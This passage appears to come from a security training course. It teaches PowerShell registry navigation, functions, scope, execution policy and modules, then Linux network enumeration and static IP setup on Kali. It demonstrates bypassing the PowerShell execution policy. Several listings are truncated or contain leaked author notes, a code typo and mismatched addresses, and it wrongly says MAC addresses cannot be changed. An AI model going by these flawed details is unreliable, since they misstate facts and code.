Hive: HKEY_LOCAL_MACHINE
Name Property
---- --------
BCD00000000
COMPONENTS StoreFormatVersion : {48, 0, 46, 0...}
StoreArchitecture : {9, 0, 0, 0}
HARDWARE
SAM
Schema
Get-ChildItem : Requested registry access is not allowed.
At line:1 char:1
+ Get-ChildItem
+ ~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (HKEY_LOCAL_MACHINE\SECURITY:String) [Get-ChildItem], SecurityException
+ FullyQualifiedErrorId : System.Security.SecurityException,Microsoft.PowerShell.Commands.GetChildItemCommand
SOFTWARE
SYSTEM
Listing 80 - Output from running Get-ChildItem in HKLM Registry provider
The errors we received are due to the Security Account Manager
(SAM)[353] section of the registry only being accessible by a
user with System access. When we attempt to list the items under
HKLM, we are unable to list information about the SAM section of the
registry. We receive "access is not allowed" errors even if we are
running PowerShell as an Administrator. We can ignore this error as we
don't need access to the SAM at this time. In addition to SAM, we find
entries for Hardware, Software, and System.
Let's move into the software directory and run ls to list
items.
PS HKLM:\> cd software
PS HKLM:\software> ls
Hive: HKEY_LOCAL_MACHINE\software
Name Property
---- --------
Classes
Clients
CVSM CVSM : {APPID, 0x1, Enabled, 0x0...}
DefaultUserEnvironment Path : C:\Users\User\AppData\Local\Microsoft\WindowsApps;
TEMP : C:\Users\User\AppData\Local\Temp
TMP : C:\Users\User\AppData\Local\Temp
Google
Intel
Microsoft
ODBC
OEM
OpenSSH
Partner
Policies
RegisteredApplications File Explorer : SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Capabilities
Windows Address Book : Software\Clients\Contacts\Address Book\Capabilities
Windows Disc Image Burner : Software\Microsoft\IsoBurn\Capabilities
Windows Search : Software\Microsoft\Windows Search\Capabilities
Internet Explorer : SOFTWARE\Microsoft\Internet Explorer\Capabilities
Paint : SOFTWARE\Microsoft\Windows\CurrentVersion\Applets\Paint\Capabilities
Notepad : Software\Microsoft\Windows\Notepad\Capabilities
Wordpad : Software\Microsoft\Windows\CurrentVersion\Applets\Wordpad\Capabilities
Windows Media Player : Software\Clients\Media\Windows Media Player\Capabilities
Windows Photo Viewer : Software\Microsoft\Windows Photo Viewer\Capabilities
Microsoft Edge : Software\Clients\StartMenuInternet\Microsoft Edge\Capabilities
VMware Host Open : SOFTWARE\VMware, Inc.\VMwareHostOpen\Capabilities
VMware, Inc.
Windows
WOW6432Node
Listing 81 - Listing items in the software directory
Depending on the provider, we may be able to view, add, modify, and
remove items. These actions are achieved using a variety of cmdlets
such as Get-Item,[348-1] New-Item,[354] Set-Item,[355] and
Remove-Item.[356] Let's test this out by creating a new registry
key of myKey with a property of "Test" set to a value of "1".
First, let's add the key with New-Item:
PS HKLM:\SOFTWARE\> New-Item myKey
Hive: HKEY_LOCAL_MACHINE\SOFTWARE
Name Property
---- --------
myKey
Listing 82 - Adding a new registry key
Next, let's add a property using New-ItemProperty. We will need
to specify the key we just made after the -Path argument, followed
by the name of our new property after the -Name argument. Let's
set the type of the property to DWORD with the -Type argument, and
finally a -Value argument set to "1".
PS HKLM:\SOFTWARE\> New-ItemProperty -Path .\myKey\ -Name Test -Type DWORD -Value 1
Test : 1
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\myKey\
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE
PSChildName : myKey
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
Listing 83 - Setting the property of our new registry key
Now that we have a new registry key and property set, let's verify
using Get-Item, followed by our key name. This will show us the
key we set and the property we assigned it.
PS HKLM:\SOFTWARE\> Get-Item .\myKey\
Hive: HKEY_LOCAL_MACHINE\SOFTWARE
Name Property
---- --------
myKey Test : 1
Listing 84 - Verifying our key and property were set
Now that we have successfully set a new registry key and value, let's
remove it. We can use the Remove-Item[357] cmdlet and
enter Remove-Item .\myKey\ on the command line. This cmdlet
won't print a response to the screen if it's successful.
We have accessed a PowerShell provider, added a new item, set its
property, and removed it.
Now that we have learned skills like formatting and filtering data,
let's take a deeper look at functions.
Functions[358]^,[359] are pieces of code that
we can invoke more than once as opposed to writing the same piece of
code repeatedly in multiple places. It reduces redundant or identical
blocks of code within the program, or outside of it, which we will
cover later on. From a collaborative, maintenance, and efficiency
standpoint, functions are critical.
So far, we have used cmdlets and methods, which are very similar
to functions. To create a function, we have to name it. Although
PowerShell is flexible in terms of naming convention, Microsoft
documentation[360] does recommend naming it similar
to cmdlets by using an <ApprovedVerb>-<Prefix><SingularNoun>
format.
At the beginning of this Topic, we used the $PSVersionTable
automatic variable to view the PowerShell version.
PS C:\Windows\system32> $PSVersionTable
Name Value
---- -----
PSVersion 5.1 .19041.1320
PSEdition Desktop
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
...
Listing 85 - Checking PS Version
However, running this variable provides extra information in a table
format. What if we only wanted to display "5.1"? A function could help
achieve that. Let's examine what that looks like:
PS C:\Windows\system32> function Get-MajMinorVersion {
$PSVersionTable.PSVersion.Major.ToString()+"."+$PSVersionTable.PSVersion.Minor.ToString()
}
PS C:\Windows\system32> Get-MajMinorVersion
5.1
Listing 86 - Created our first function
Here we named our first function, Get-MajMinorVersion. Within
the function, which is evident in the curly brackets ({}), we
reference the "Major" and "Minor" properties of "PSVersion" of
"$PSVersionTable". We then converted them from an integer to a string
data type, and lastly concatenated all the strings. We call or invoke
the function by typing it, similar to a command or cmdlet. This
informs the interpreter to find the function based on the name, run
the commands within it, and return a value. In this case, the value is
"5.1", which is displayed on the console.
The next concept we will cover is scope
modifiers.[361]^,[362] Scope modifiers are used
to determine where a variable exists. Global scope variables are
available within the whole program, while local scope variables
are available within the specific function. There are other scope
modifiers, but they are generally used for more advanced programs.
Let's examine the code block below:
PS C:\Windows\system32> $Global:outsideVariable = "outside"
PS C:\Windows\system32> function Set-PSInsideVar
{
$Local:insideVariable = "inside"
Write-Output $insideVariable
}
Listing 87 - Scope modifier example
We used global and local scope modifiers to characterize the
variables. The syntax is $: = . By
default, variables are of local scope, but to better explain the
concept, we specifically labeled "insideVariable" as "local".
Let's run a few tests to confirm our variables are either global or
local scope.
PS C:\Windows\system32> Write-Output $outsideVariable
outside
PS C:\Windows\system32> Set-PSInsideVar
inside
PS C:\Windows\system32> Write-Output $insideVariable
PS C:\Windows\system32>
Listing 88 - Confirming global vs local scope 1
First, we displayed $outsideVariable, and the result is "outside",
as expected. We then call Set-PSInsideVar function, and the
result is "inside", as expected. When we try to directly call
$insideVariable from a global perspective, nothing is displayed.
This is because that variable does not exist at the global level.
PowerShell is only able to access it within the function that it was
created.
Let's confirm this in another way:
PS C:\Windows\system32> Get-Variable -Scope Global -Name outsideVariable
Name Value
---- _____
outsideVariable outside
PS C:\Windows\system32> Get-Variable -Scope Global -Name insideVariable
Get-Variable : Cannot find a variable with the name 'insideVariable'.
At line:1 char:1
+ Get-Variable -Scope Global -Name insideVariable
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (insideVariable:string) [Get-Variable], ItemNotFoundExepction
+ FullyQualifiedErrorID : VariableNotFound,Microsoft.PowerShell.Commands.GetVariableCommand
PS C:\Windows\system32> Get-Variable -Scope Local -Name insideVariable
Get-Variable : Cannot find a variable with the name 'insideVariable'.
At line:1 char:1
+ Get-Variable -Scope Local -Name insideVariable
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (insideVariable:string) [Get-Variable], ItemNotFoundExepction
+ FullyQualifiedErrorID : VariableNotFound,Microsoft.PowerShell.Commands.GetVariableCommand
PS C:\Windows\system32>
Listing 89 - Confirming global vs local scope 2
When we run the command to check for a global scope variable named
"outsideVariable", we get the expected result. When we check for a
global scope variable named "insideVariable", we get a "Cannot find
a variable..." error, again as expected. However, when we check for a
local scope variable named "insideVariable", we get that error again.
This is because in this instance, local scope is global scope. When
we run the Get-Variable command from the command prompt, the local
scope is also the global scope. Let's adjust our function and see what
happens.
PS C:\Windows\system32> function Set-PSInsideVar
{
$Local:insideVariable = "inside"
Write-Output $insideVariable
Get-Variable -Scope Local -Name insideVariable
}
PS C:\Windows\system32> Set-PSInsideVar
inside
Name Value
---- _____
insideVariable inside
Listing 90 - Confirming global vs local scope 3
Here we added the Get-Variable -Scope Local -Name insideVariable
command inside the function. Since the command is running within
the function, "local" now refers to inside the function. This means
"local" is specific to each function, so we need to keep this in mind
when we create variables.
We can also include parameters as part of our function. There are
two primary ways to achieve this. Below is the general syntax for
doing this:
function <name>
{
param ([type]$parameter1, [type]$parameter2)
<actions>
}
function <name> ([type]$parameter1, [type]$parameter2)
{
<actions>
}
Listing 91 - Functions with parameters general syntax
Either of the above methods is acceptable. Let's walk through creating
a function with parameters:
PS C:\Windows\system32> function Get-PSMultiplication
{
param ([int]$num1, [int]$num2)
return $num1*$num2
}
PS C:\Windows\system32> Get-PSMultiplication 2 10
20
Listing 92 - Functions with parameters example
Let's analyze the key differences. First, we created two parameters of
type int. Meaning for this function to work properly, it needs two
parameters as input. Second, it will multiply the values of $num1
and $num2. Lastly, it will output the total. The keyword return
is used to signify what the function will output when it is being
called.
When we call the function, we provide the parameters with a space in
between each parameter and the main command, as we would if we were
using a cmdlet with parameters.
In PowerShell, scripting is usually done by crafting a .ps1
file. On a Windows system, double-click script execution is disabled
by default to protect users and the system. PowerShell maintains an
execution policy[363] that determines which type of PowerShell
scripts (if any) can be run on the system. The default policy is
Restricted for Windows clients, and it is RemoteSigned for Windows
servers.
The Restricted policy means the system will neither load PowerShell
configuration files nor run PowerShell scripts. The RemoteSigned
policy allows the execution of PowerShell scripts only if they meet
some conditions. Such as if the script was written on the local system
and not downloaded from the Internet, or the script contains a digital
signature from a trusted publisher.
Let's use Get-ExecutionPolicy to check the execution policy.
PS C:\Users\User> Get-ExecutionPolicy
Restricted
Listing 93 - Using Get-ExecutionPolicy
To be able to execute our scripts, we will need to set the
RemoteSigned execution policy.
Execution policies for the local computer and current user are
stored in the registry. To make a change in the registry, we need
administrator privileges. To set the policy from a PowerShell command
prompt, let's click the Windows Start button, right-click the
Windows PowerShell application, and select Run as Administrator.
When presented with a User Account Control prompt, we will select
Yes, and enter Set-ExecutionPolicy RemoteSigned.
We should note that the execution policy for a particular session is
stored only in memory and is lost when the session is closed. To set
the policy for only a session, we can start the PowerShell command
line with -ExecutionPolicy parameter to pass the desired policy.
It's common to set the policy to "bypass" temporarily using this
method. Another way is to use the Set-ExecutionPolicy cmdlet and pass
the -Scope Process parameter along with the desired policy name.
Let's create a simple PowerShell script and learn how to execute it
when the execution policy is set to restrictive. First, let's create a
new file with a text editor. We'll enter the PowerShell commands below
into our file and save it as computerInfo.ps1.
Get-ComputerInfo | Out-File .\computerInfoOut.txt
Listing 94 - A simple script to test execution policy
Now that our test script is saved, let's try to execute it.
In our PowerShell console, we'll attempt to execute the script by
calling the full path to the file.
PS C:\Users\User> C:\Users\User\Desktop\computerInfo.ps1
C:\Users\User\Desktop\computerInfo.ps1 : File C:\Users\User\Desktop\computerInfo.ps1 cannot be loaded
because running scripts is disabled on this system. For more information, see about_Execution_Policies at
https:/go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:1
+ C:\Users\User\Desktop\computerInfo.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : SecurityError: (:) [], PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess
Listing 95 - Error from running PowerShell script with restrictive execution policy
The error message tells us that the script did not run due to the
current execution policy. We can change the execution policy for our
current PowerShell session using one of the methods we just covered,
but let's examine a faster method.
From PowerShell, we can spawn a new PowerShell session with the
execution policy we want that simply runs our script and exits back to
our original session. To do this, we call powershell.exe followed
by the -exec argument and the desired policy, and lastly the path
to our script. This is a temporary PowerShell session, so let's use a
policy of "bypass".
PS C:\Users\vandelay> powershell.exe -exec bypass C:\Users\vandelay\Desktop\computerInfo.ps1
Listing 96 - Running a PowerShell script in a temporary session
Running this should succeed and will result in a file being
created named computerInfoOut.txt in the current directory
of our PowerShell session. We can verify this by running type
computerInfoOut.txt, which will output the contents of the file to
the console. With that done, we have successfully created and executed
a PowerShell script.
An important concept of scripting is comments.[364]
Comments are pieces of code that are not evaluated by the compilers
or interpreters. They are not necessary for the program to run
successfully, but they are necessary from a collaborative point
of view. Comments are meant to provide additional or easy-to-read
information about a piece of code. Today, it's likely to have multiple
developers work on similar coding projects, or it's possible that over
time different people will maintain and update programs. Therefore,
comments assist in passing the code from person to person and allowing
a different developer (not the original author) to quickly and easily
learn what the code is doing.
Below is an example of how PowerShell comments can be used:
# This is a single line comment. The interpreter will ignore this comment.
<#
This is a multi-line comment or a comment code block.
Every line within this section will be ignored by the interpreter
#>
# The following function takes in two integers (num1 and num2) as input, multiplies them together, and outputs the total.
function Get-PSMultiplication
{
param ([int]$num1, [int]$num2)
return $num1*num2
}
Listing 97 - Examples of PowerShell comments
To write a comment on a single line, we begin the line with the pound
or hashtag sign (#). If we need multiple lines, we can use <# to
signify the beginning of the comment code block and #> to end it.
The last concept we will discuss is PowerShell modules,[272-1]
which are packages that contain additional cmdlets, functions,
providers, and more. Modules can be imported into the current
PowerShell session, giving access to new functionality. A
list of currently loaded modules can be found by running
Get-Module.[365]
PS C:\Windows\system32> Get-Module
ModuleType Version Name ExportedCommands
---------- ------- ---- ----------------
Manifest 3.1.0.0 Microsoft.PowerShell.Management {Add-Computer, Add-Content, Checkpoint-Computer, Clear-Con...
Manifest 3.1.0.0 Microsoft.PowerShell.Utility {Add-Member, Add-Type, Clear-Variable, Compare-Object...}
Script 2.0.0 PSReadline {Get-PSReadLineKeyHandler, Get-PSReadLineOption, Remove-PS...
Listing 98 - List of Loaded Modules
By default, we are presented with the module type, version, name, and
exported commands.
Additionally, we can list all available modules installed on the
system that are not loaded into our current session by adding
the -ListAvailable flag. This will check the PsModulePath
environment variable and list the entries separated by their install
location on the local system.
PS C:\Windows\system32> Get-Module -ListAvailable
Directory: C:\Program Files\WindowsPowerShell\Modules
ModuleType Version Name ExportedCommands
---------- ------- ---- ----------------
Script 1.0.1 Microsoft.PowerShell.Operation.V... {Get-OperationValidation, Invoke-OperationValidation}
Binary 1.0.0.1 PackageManagement {Find-Package, Get-Package, Get-PackageProvider, Get-Packa...
Script 3.4.0 Pester {Describe, Context, It, Should...}
Script 1.0.0.1 PowerShellGet {Install-Module, Find-Module, Save-Module, Update-Module...}
Script 2.0.0 PSReadline {Get-PSReadLineKeyHandler, Set-PSReadLineKeyHandler, Remov...
Directory: C:\Windows\system32\WindowsPowerShell\v1.0\Modules
ModuleType Version Name ExportedCommands
---------- ------- ---- ----------------
Manifest 1.0.0.0 AppBackgroundTask {Disable-AppBackgroundTaskDiagnosticLog, Enable-AppBackgro...
Manifest 2.0.0.0 AppLocker {Get-AppLockerFileInformation, Get-AppLockerPolicy, New-Ap...
Manifest 1.0.0.0 AppvClient {Add-AppvClientConnectionGroup, Add-AppvClientPackage, Add...
Manifest 2.0.1.0 Appx {Add-AppxPackage, Get-AppxPackage, Get-AppxPackageManifest...
Script 1.0.0.0 AssignedAccess {Clear-AssignedAccess, Get-AssignedAccess, Set-AssignedAcc...
...
Listing 99 - Using Get-Module
Now that we know how to find loaded and unloaded modules, let's find
out what a module can do. To find a list of commands available in a
specific module, we will use Get-Command.
PS C:\Windows\system32> Get-Command
CommandType Name Version Source
----------- ---- ------- ------
Alias Add-AppPackage 2.0.1.0 Appx
Alias Add-AppPackageVolume 2.0.1.0 Appx
Alias Add-AppProvisionedPackage 3.0 Dism
Alias Add-ProvisionedAppPackage 3.0 Dism
Alias Add-ProvisionedAppxPackage 3.0 Dism
...
Function A:
Function Add-BCDataCacheExtension 1.0.0.0 BranchCache
Function Add-BitLockerKeyProtector 1.0.0.0 BitLocker
Function Add-DnsClientNrptRule 1.0.0.0 DnsClient
Function Add-DtcClusterTMMapping 1.0.0.0 MsDtc
...
Cmdlet Add-AppvClientConnectionGroup 1.0.0.0 AppvClient
Cmdlet Add-AppvClientPackage 1.0.0.0 AppvClient
Cmdlet Add-AppvPublishingServer 1.0.0.0 AppvClient
Cmdlet Add-AppxPackage 2.0.1.0 Appx
Cmdlet Add-AppxProvisionedPackage 3.0 Dism
Listing 100 - Get-Command output truncated
To list just the commands in a specific module, we need to append
the -Module flag, followed by the module name we want to list
the commands of. The module does not need to be loaded to list the
commands it provides. Let's take a closer look at the Defender
module below:
PS C:\Windows\system32> Get-Command -Module Defender
CommandType Name Version Source
----------- ---- ------- ------
Function Add-MpPreference 1.0 defender
Function Get-MpComputerStatus 1.0 defender
Function Get-MpPreference 1.0 defender
Function Get-MpThreat 1.0 defender
Function Get-MpThreatCatalog 1.0 defender
Function Get-MpThreatDetection 1.0 defender
Function Remove-MpPreference 1.0 defender
Function Remove-MpThreat 1.0 defender
Function Set-MpPreference 1.0 defender
Function Start-MpScan 1.0 defender
Function Start-MpWDOScan 1.0 defender
Function Update-MpSignature 1.0 defender
Listing 101 - Output from Get-Command on the Defender Module
Next, let's use Get-Help to inspect Start-MpScan. This will
automatically load the module into the current session.
PS C:\Windows\system32> Get-Help Start-MpScan
NAME
Start-MpScan
SYNOPSIS
Starts a scan on a computer.
SYNTAX
Start-MpScan [-CimSession <CimSession[]>] [-ScanPath <String>] [-ScanType {QuickScan | FullScan | CustomScan}] [-ThrottleLimit <Int32>] [<CommonParameters>]
DESCRIPTION
The Start-MpScan cmdlet starts a scan on a computer. The cmdlet performs scans for the path you specify.
RELATED LINKS
Online Version: http://go.microsoft.com/fwlink/?LinkId=317472
REMARKS
To see the examples, type: "get-help Start-MpScan -examples".
For more information, type: "get-help Start-MpScan -detailed".
For technical information, type: "get-help Start-MpScan -full".
For online help, type: "get-help Start-MpScan -online"
Listing 102 - Output of Get-Help on the Start-MpScan cmdlet
The last line in this listing indicates that we can run the same
command with the -online flag. This will open the default browser
to the relevant help page, which usually contains more information and
details on how to use the command.
From the output of the Get-Help command for Start-MpScan, we can
find out what it does and how to run it. Let's test it out by running
a quick scan on our user directory. We will need to specify the
directory we want to scan by using the -ScanPath flag. Let's also
specify that we want a quick scan by using the -ScanType flag.
PS C:\Windows\system32> Start-MpScan -ScanPath 'C:\\Users\\User\\' -ScanType QuickScan
Listing 103 - The command to run Start-MpScan
Running this scan can take a few minutes. If nothing malicious was
found during the scan, the output is empty.
We have successfully investigated loading PowerShell modules, learned
how to find help from within PowerShell, and ran a scan manually from
our PowerShell console.
The following exercises are meant to supplement everything learned in
this Topic. Some cmdlets were not discussed, however similar cmdlets
were used, and how to learn about other cmdlets was also covered.
Let's take this opportunity to expand our knowledge and understanding
of PowerShell. While doing these challenge exercises, we can try to
attempt the following to make things even more challenging:
The following challenges MUST be completed using the ISE
and connecting with rdesktop. Using PowerShell through SSH will
provide different results for some questions. To avoid confusion
and frustration, please do NOT use SSH to complete the following
exercises.
In this Module, we will cover the following Learning Units:
Each learner moves at their own pace, but this Module should take
approximately 16.5 hours to complete.
Although there are many valuable reasons to learn about Linux
networking and services, one of the strongest is that, regardless of
the target network's infrastructure, almost every security assessment
we perform starts at our Kali machine. This means we'll need to
develop a robust foundational understanding of Linux networking.
Globally, many servers rely on Linux as a base operating system.
In fact, even simple actions like browsing the internet or using
search engines will send the user through a series of Linux systems
before delivering the requested content. For computer engineering
and security professionals, understanding underlying Linux concepts
and utilities is essential to using the available toolsets in a given
environment.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 90 minutes to complete.
Before we dive into Linux Networking and Services, we'll need to
know how to use the essential network utilities that are available
on various systems. For example, a Linux system may have the legacy
net-tools[366] installed, or instead use iproute,[367]
the newer package of network utilities. Regardless, we will need some
basic skills to discover information on any Linux system such as:
Although there are many distributions of Linux, we will cover how to
work with networking-related details on Kali Linux,[368] the
most common distribution used for penetration testing and security
auditing.
Since Linux distributions often vary from one another, we should keep
in mind that newer or different technologies may be implemented that
do not align with what is shown in this Module.
Enumeration describes how we discover information about something,
in this case, a computer system. In our case, we want to identify
information about the networking of our Linux host. Network
information can be critical in determining how a multi-computer system
operates together. It is also important to understand our location on
the network using information from our host. Let's begin enumeration
by determining our IP address.
The simplest way to identify the IP address, netmask, MAC address, and
other network metrics is by using ifconfig.
However, not all Linux machines have ifconfig installed. We could
use which ifconfig to find out if it's installed, or simply run
the ifconfig command and check for an error message. Let's try this
now.
kali@kali:~$ ifconfig
command will not exist on the system. To continue, I entered 'N' to
not install the net-tools package. If it's not possible to install
net-tools on the host, an alternative command can be run: ip addr.
The ip command has many subcommands. This _cheatsheet_[^ipCheatsheet]
should be a great reference for things not covered in this section.
Let's go ahead and run 'ip addr' now.
Command 'ifconfig' not found, but can be installed with:
sudo apt install net-tools
Do you want to install it? (N/y)
Listing 1 - net-tools is missing
Because this machine does not have net-tools installed, the
ifconfig command is not available on the system. If we have the
necessary permissions, we can install the net-tools package with
the appropriate package manager utility for the Linux distribution. By
default, Kali comes with both net-tools and iproute installed.
kali@kali:~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 fe80::a00:27ff:fe6b:9fb4 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:6b:9f:b4 txqueuelen 1000 (Ethernet)
RX packets 1 bytes 590 (590.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 12 bytes 1212 (1.1 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 400 (400.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 8 bytes 400 (400.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Listing 2 - Output of the ifconfig command
The ifconfig command provides information about the interfaces
on the host we are using. We'll observe two separate groups of
information; we will cover this shortly.
Ifconfig is a deprecated legacy tool that has been replaced by the
ip utility. The ip tool is installed from the iproute2 package. To
get the same information, we can run ip addr. A common shorthand
version of this command is ip a. For the sake of clarity, let's
use ip addr.
kali@kali:~$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 08:00:27:6b:9f:b4 brd ff:ff:ff:ff:ff:ff
inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic noprefixroute eth0
valid_lft 85996sec preferred_lft 85996sec
inet6 fe80::a00:27ff:fe6b:9fb4/64 scope link noprefixroute
valid_lft forever preferred_lft forever
Listing 3 - Output of the ip addr command
Let's analyze the groups of information from the two command
examples above. First, it's important for us to get familiar with the
lo[369] or "loopback" interface. This software interface tests
the local host's network functionality.
The default IP address assigned to this interface is 127.0.0.1,
also known as localhost.[370] This means that the IP address
of 127.0.0.1 is the same as localhost. This address is not routable
on the internet and only pertains to the host, not the network. Any
routing constructed for this interface will route to itself, which can
host internal resources on that machine.
The next interface listed in the output above is eth0, short for
Ethernet interface. This is the cabled connection. Linux systems
utilize a device and number schema. In our case, this is the first
Ethernet interface, since interface numbers start at 0. If another
Ethernet interface were added, it would display as eth1. This schema
also applies to wireless interfaces, such as wlan, meaning the first
wireless interface would be displayed as wlan0.
When running commands on your host, the interfaces shown may be
different. Depending on the Linux flavor, the default naming scheme of
the interfaces may vary.
The IP address of the host is defined next to the word inet in both
utilities, as highlighted in the above listing. ip addr shows the
netmask in CIDR notation.[371] The MAC address is shown next to
the word 'ether.' The MAC address is the physical hardware address of
the NIC[372] in the host. This is burned into the chip, so this is
an address that cannot be changed. This value is 6 bytes in length.
In Linux, this can be found using colon (:) delimiters separating each
byte value. Each of the byte values is represented in hexadecimal.
We'll cover hexadecimal notation in the Cryptography Module of this
course. For now, you should know that the MAC address is a physical
address that cannot be changed, unlike an IP address, its value is 6
bytes in length.
In information security, the MAC address value is used to enhance
security via sticky MAC addressing,[373] which can be
configured on a switch to enhance the layer 2[161-1] security on
that network. For example, let's consider that a MAC address is stored
as an accepted value on a port of the switch. Since the MAC address
is specific to the computer connected, the switch can recognize if
a different computer is connected to the configured port. The switch
might then disable that port, which helps protect the network from
unauthorized devices.
These security mechanisms are not foolproof, and can fall prey to
attacks such as MAC spoofing. Attacks such as this are out of scope
for this course, however, as it's more important to first understand
where network information exists.
Configuring Linux Network Interfaces
To configure the network interfaces, we can leverage the GUI or modify
the /etc/network/interfaces file. In some situations, it may be
important to change the IP address of our host.
If we connect to a network that doesn't have a DHCP server, we
may need to configure our host with a static IP address. Let's
get more familiar with the Kali GUI and change the IP address to a
statically-configured IP. (We'll change it back to the normal network
method, DHCP, when we are done.)
If you are using the provided Kali machine through the web
interface, do not complete the following steps. If the primary
interface is changed this way, the connection with that Kali machine
will be broken and the lab will need to be reverted.
In the following examples, the host is locally installed in a VM. The
interfaces and output will be different in the lab.
To get started, we'll click on the Kali Menu. When it's open, we can
type Network, and observe as "Advanced Network Configuration" is
displayed in the menu pane.
Let's click on Advanced Network Configuration. The "Network
Connections" window displays the singular Ethernet interface as "Wired
connection 1." This may display differently on other machines.
This opens the Editing Wired Connection 1 window for the interface
that was selected. By default, we are on the Ethernet tab.
To make the IP address changes, let's click on the IPv4 Settings
tab.
This host is set to DHCP, which will obtain the IP Address
automatically on a network that has a DHCP server. Since our goal is
to configure a static IP address (manually define the IP), we'll need
to choose Manual from the Method dropdown menu.
With "Manual Method" selected, we'll next need to add our static IP
configuration. By clicking Add, we can type in the fields to the
left of the button.
Let's update our IP address to 10.1.1.254 with the Netmask of
255.255.255.0 (or /24 in CIDR notation). Next, we'll add a default
gateway of 10.1.1.1. Finally, we can add an additional DNS server
of 8.8.8.8 (a Google DNS server) by clicking in the text box next to
"Additional DNS servers" and entering the IP address "8.8.8.8". DNS
will be covered in more detail later.
Figure 6 illustrates the updated values.
When finished, we'll click the Save button to close the "Editing"
window.
Now that the static IP settings are set, we need to restart the
network connection. We can continue to use the GUI for this. On the
top right, we'll find an Ethernet port icon. Let's click on this, then
click Disconnect.
Next, we'll need to click on the same icon and select the interface
that was configured in the previous steps.
From a terminal session, let's verify this worked on our host. The
output of ip addr should appear very similar to the output
below.
kali@kali:~$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 08:00:27:6b:9f:b4 brd ff:ff:ff:ff:ff:ff
inet 10.1.1.254/24 brd 192.168.1.255 scope global noprefixroute eth0
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fe6b:9fb4/64 scope link noprefixroute
valid_lft forever preferred_lft forever
Listing 4 - Verification of statically configured IP Address
This exercise was intended to show how to leverage the GUI to change
our network settings from DHCP to a static configuration. Let's change
it back to the original DHCP setting before moving forward.
As we did earlier, let's open the Advanced Network Configuration
window and double-click the interface we modified before. This time,
we will select the IP information we set previously and click the
Delete button. This will remove the static configuration we set. We
also need to delete the DNS server IP ("8.8.8.8" in our example).
Once this information is removed, we can select DHCP (Automatic)
from the Method dropdown menu. With everything reverted, we'll click
Save. Let's check the IP in the terminal again.
kali@kali:~$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 08:00:27:6b:9f:b4 brd ff:ff:ff:ff:ff:ff
inet 10.1.1.254/24 brd 192.168.1.255 scope global noprefixroute eth0
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fe6b:9fb4/64 scope link noprefixroute
valid_lft forever preferred_lft forever
Listing 5 - The IP address didn't change back to DHCP
The IP didn't change back to the originally assigned 10.0.2.15 address
as before. It still has the statically-configured IP address.
We'll need to restart the network connection for the change to take
effect. After disconnecting and reconnecting as we did previously,
let's check it again.
kali@kali:~$ ip addr
ault qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 08:00:27:6b:9f:b4 brd ff:ff:ff:ff:ff:ff
inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic noprefixroute eth0
valid_lft 86396sec preferred_lft 86396sec
inet6 fe80::a00:27ff:fe6b:9fb4/64 scope link noprefixroute
valid_lft forever preferred_lft forever
Listing 6 - The host now has the DHCP-assigned IP address
Working with the GUI isn't always an option. Often, using the Linux
Terminal is a quicker and more practical way to make configuration
changes to a Linux system. Let's cover how to configure a network
